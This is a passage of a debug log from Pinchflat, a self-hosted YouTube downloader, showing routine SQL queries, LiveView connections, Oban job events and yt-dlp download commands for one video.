m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 21:17:10.866 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1721.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:10.866 [debug] QUERY OK source="settings" db=0.2ms idle=808.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:10.867 [debug] QUERY OK source="settings" db=0.2ms idle=809.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:10.868 [debug] QUERY OK source="settings" db=0.2ms idle=720.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:10.869 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:10.873 [info] Sent 200 in 9ms 21:17:10.882 [info] CONNECTED TO Phoenix.LiveView.Socket in 88µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "HRg3FSo7NiU-OykdJmUiOj8AW2JELwAORQmwkHelyTCSO-kheqo66kfK", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:17:11.114 [info] CONNECTED TO Phoenix.LiveView.Socket in 66µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "PgMsGjI_Fgc-VjgRWSlwBDsrUzAKNBEOqJvxsLENy9R_0a9VaZgdxpwK", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:17:11.147 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:17:11.147 [debug] Replied in 206µs 21:17:28.667 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:46.485 [info] GET /sources 21:17:46.485 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 21:17:46.486 [debug] QUERY OK source="settings" db=0.3ms idle=428.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:46.487 [debug] QUERY OK source="settings" db=0.0ms idle=429.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:46.487 [debug] QUERY OK source="settings" db=0.1ms idle=429.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:46.488 [debug] QUERY OK source="settings" db=0.0ms idle=430.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:46.488 [debug] QUERY OK source="settings" db=0.1ms idle=269.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:46.489 [debug] QUERY OK source="sources" db=0.5ms idle=2.1ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:17:46.490 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:17:46.492 [info] Sent 200 in 6ms 21:17:46.502 [info] CONNECTED TO Phoenix.LiveView.Socket in 30µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "PgMsGjI_Fgc-VjgRWSlwBDsrUzAKNBEOqJvxsLENy9R_0a9VaZgdxpwK", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:17:46.859 [info] CONNECTED TO Phoenix.LiveView.Socket in 35µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "OCQ4VisKMAYrCSl4PQ8IFhQHXBE2fSs0wmb4jycOlfC6TGADNvhED9Mq", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:17:46.865 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 21:17:46.865 [debug] QUERY OK source="sources" db=0.4ms idle=377.8ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:17:46.867 [debug] QUERY OK source="sources" db=1.0ms idle=378.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:17:46.867 [debug] Replied in 2ms 21:17:46.869 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:17:46.869 [debug] Replied in 77µs 21:17:58.668 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.590 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:18:28.670 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:58.672 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.591 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:19:28.674 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:40.023 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=spwFlJDlK1M --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bd/88/bd884a7633bdad9452b96c35522028f095162590adba0b2281f4cb6df452f37f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:19:40.033 [debug] Running yt-dlp command for action: download_thumbnail 21:19:40.033 [debug] QUERY OK source="settings" db=0.0ms idle=1976.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:19:40.033 [debug] QUERY OK source="settings" db=0.0ms idle=1976.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:19:40.033 [debug] QUERY OK source="settings" db=0.0ms idle=1976.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:19:40.034 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=spwFlJDlK1M --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/25/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a9/53/a95327982a97188f289e7e0d4612a3de3182844fcb4fbfcb2d0ef023a704de91.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:19:42.818 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=spwFlJDlK1M --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/25/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a9/53/a95327982a97188f289e7e0d4612a3de3182844fcb4fbfcb2d0ef023a704de91.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:19:42.818 [debug] QUERY OK db=0.0ms idle=1760.7ms begin [] 21:19:42.818 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:19:40Z], "/downloads/Last Meals/2026-01-15 Vic Michaelis Eats Their Last Meal/Vic Michaelis Eats Their Last Meal [spwFlJDlK1M].mp4", ~U[2026-03-28 01:19:42Z], 25] 21:19:42.819 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/25/metadata.json.gz", "/config/metadata/media_items/25/thumbnail.jpg", 25, ~U[2026-03-28 01:19:42Z], ~U[2026-03-28 01:19:42Z]] 21:19:42.819 [debug] QUERY OK db=0.0ms commit [] 21:19:42.831 [debug] QUERY OK source="media_items" db=0.9ms idle=1773.4ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [835251414, ~U[2026-03-28 01:19:42Z], 25] 21:19:42.832 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:19:42.832 [info] {"args":{"id":25},"id":28,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":217156471,"event":"job:stop","queue_time":1716675389,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:19:42.832 [debug] QUERY OK source="tasks" db=0.1ms idle=775.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:19:42.833 [debug] QUERY OK source="media_items" db=0.1ms idle=411.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [26] 21:19:42.838 [info] {"args":{"id":27},"id":30,"meta":{},"system_time":1774660782838769503,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:19:42.839 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=6.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [27] 21:19:42.839 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:19:42.839 [debug] QUERY OK source="tasks" db=0.5ms idle=6.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:19:42.839 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:19:42.840 [debug] QUERY OK source="media_items" db=0.1ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [26, 27] 21:19:42.840 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:19:42.840 [debug] QUERY OK source="media_items" db=0.2ms idle=1.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [27] 21:19:42.841 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.5ms SELECT m0."id", 